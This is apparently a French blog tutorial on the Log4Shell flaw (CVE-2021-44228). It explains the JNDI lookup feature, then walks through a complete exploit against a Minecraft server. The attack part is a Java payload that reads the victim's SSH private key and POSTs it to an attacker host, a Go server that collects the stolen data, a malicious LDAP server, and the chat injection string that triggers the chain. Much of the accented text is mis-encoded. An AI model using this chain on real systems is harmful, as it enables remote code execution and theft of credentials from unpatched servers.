Comprendre (et exploiter đ) la faille log4shell
Log4j est une des librairies de log parmi les plus utilisées par les applications codées en java. La liste des entreprises qui l'utilise est longue
Log4j, quâest-ce que câest ?
Log4j est une des librairies de log parmi les plus utilisĂ©es par les applications codĂ©es en java. La liste des entreprises qui lâutilise est longue, on y compte notamment des gĂ©ants comme Apple, Google, Microsoft ou encore Steam.
La faille Log4Shell
Log4shell câest le nom donnĂ© Ă cette vulnĂ©rabilitĂ©. On peut aussi la retrouver sous le nom CVE-2021-44228. Ce qui rend cette faille trĂšs dangereuse est que dâune part elle est trĂšs facile Ă exploiter et dâautre part,la librairie log4j est utilisĂ©e dans un grand nombre de projets. Sur github plus de 300 000 dĂ©pĂŽts utilisent cette dĂ©pendance.
Log4j comprend une fonctionnalitĂ© de lookup. Câest Ă dire quâelle peut interprĂ©ter certaines
instructions qui seraient inclues dans les données loggées. Par exemple si on lui demande de logger
${env:USER}, cette chaßne de caractÚres va automatiquement remplacée par la valeur de la variable
dâenvironnement USER. Il est ainsi possible de faire un lookup via jndi (java naming directory
interface), qui en soit nâest pas problĂ©matique, on va juste chercher une valeur ailleurs et la
logger. Quand on la combine a ldap (un annuaire clé valeur) il devient possible de faire exécuter du
code. Pour comprendre comment cela marche, on a va passer Ă la pratique dans la partie suivante.
Exploitons cette faille
Passons maintenant aux travaux pratiques. Pour rĂ©aliser une attaque, on va utiliser deux ordinateurs. Le premier sera lâordinateur cible, qui fera tourner le serveur, le second (Ă lâadresse 192.168.1.22) sera lâordinateur attaquant qui va hĂ©berger le serveur http et jdni.

Chaque message envoyé dans le tchat du jeu (à gauche) est loggé dans la console du serveur et dans un fichier de logs (à droite)
Pour commencer, on lance le serveur minecraft avec la commande suivante :
java -Xmx1024M -Xms1024M -jar .\\server.jar nogui
On va ensuite avoir besoin dâun code java malicieux qui sera exĂ©cutĂ© sur la machine qui hĂ©berge le serveur minecraft. Dans cet exemple on va lire la clĂ© privĂ©e de lâutilisateur et lâenvoyer Ă un serveur distant via http.
Voici le code qui fait ça :
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.StandardCharsets;
import java.io.BufferedReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class MinecraftRCE {
static {
try {
URL url = new URL("<http://192.168.1.22:8080/data>");
URLConnection con = url.openConnection();
HttpURLConnection http = (HttpURLConnection) con;
http.setRequestMethod("POST");
StringBuilder sb = new StringBuilder();
try (BufferedReader br = Files.newBufferedReader(Paths.get(System.getProperty("user.home") + "/.ssh/id_rsa"))) {
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\\n");
}
} catch (IOException e) {
System.err.format("IOException: %s%n", e);
}
byte[] out = sb.toString().getBytes(StandardCharsets.UTF_8);
int length = out.length;
http.setFixedLengthStreamingMode(length);
http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
http.setDoOutput(true);
http.connect();
try(OutputStream os = http.getOutputStream()) {
os.write(out);
}
http.disconnect();
} catch (Exception e){
e.printStackTrace();
}
}
}
On compile ce bout de code avec javac pour obtenir un fichier MinecraftRCE.class :
javac MinecraftRCE.java
La prochaine étape est de servir ce fichier .class sur un endpoint http. Plusieurs options pour
réaliser cela, nous allons partir sur une implémentation en Go, car on peut facilement lancer un
serveur http avec la librairie standard :
package main
import (
"bytes"
"io/ioutil"
"log"
"net/http"
)
func dataHandler(_ http.ResponseWriter, req *http.Request) {
buf, _ := ioutil.ReadAll(req.Body)
rdr1 := ioutil.NopCloser(bytes.NewBuffer(buf))
log.Printf("secret data: %q", rdr1)
}
func main() {
fs := http.FileServer(http.Dir("./java"))
http.Handle("/static/", http.StripPrefix("/static/", fs)) // 1
http.HandleFunc("/data", dataHandler) // 2
println("waiting for secret data")
http.ListenAndServe(":8080", nil)
}
Ce bout de code en go fait tourner un serveur http qui fait deux choses simples :
- Il sert sur la route
/staticle fichierMinecraftRCE.classqui est dans le dossierjava - Il écoute sur la route
/dataet affiche lebodyde la requĂȘte. Câest sur ce endpoint quâon recevra la clĂ© privĂ©e envoyĂ©e par le script java malicieux.
Enfin on démarre un serveur ldap. Pour cela, on utilise le package npm ldapjs :
const ldap = require('ldapjs');
const server = ldap.createServer();
server.search('', (req, res, next) => {
const obj = {
dn: req.dn.toString(),
attributes: {
javaClassName: "MinecraftRCE",
javaCodeBase: "<http://192.168.1.22:8080/static/>",
objectClass: "javaNamingReference",
javaFactory: "MinecraftRCE",
}
};
res.send(obj);
res.end();
});
server.listen(1389, () => {
console.log('LDAP server listening at %s', server.url);
});
On lance ce serveur avec node :
node index.js
Tout est en place pour passer Ă lâaction. On se connecte au serveur minecraft comme un joueur normal et on peut dĂ©clencher lâattaque. Pour ce faire il suffit de taper dans le chat le texte suivant :
${jndi:ldap://192.168.1.22:1389}

Câest cette chaĂźne de caractĂšres qui sera envoyĂ©e Ă log4j. AussitĂŽt quâon a appuyĂ© sur entrĂ©e on
reçoit bien la requĂȘte avec la clĂ© privĂ©e de la victime sur notre endpoint http /data.

On reçoit mĂȘme la requĂȘte 3 fois, sans doute parce que la chaĂźne est loggĂ©e 3 fois dans le code de minecraft.
Nous avons donc dĂ©montrĂ© que la faille log4shell peut facilement ĂȘtre exploitĂ©e. Dans notre exemple assez simple on sâest contentĂ© de lire la clĂ© privĂ©e, mais ce nâest pas la seule exploitation possible. Câest pourquoi il est fortement recommandĂ© de garder ses logiciels Ă jour.
https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html
https://www.youtube.com/watch?v=7qoPDq41xhQ
https://news.fr-24.com/technology/591640.html
https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/